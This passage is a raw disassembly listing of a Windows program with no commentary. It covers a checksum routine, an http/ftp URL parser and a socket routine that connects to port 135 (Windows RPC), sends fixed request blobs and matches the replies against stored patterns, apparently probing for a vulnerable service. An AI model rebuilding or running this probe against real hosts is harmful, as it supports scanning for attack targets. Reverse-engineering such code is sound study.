sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50BB64, eax mov eax, offset dword_50BB64 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi ; ftell mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C94 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444410 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444410 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444410 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F70 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444410 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C94 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444410 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444410 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444410 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2B66h nop mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DD8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E4C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E24 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E38 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi call near ptr 71AB9639h nop loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 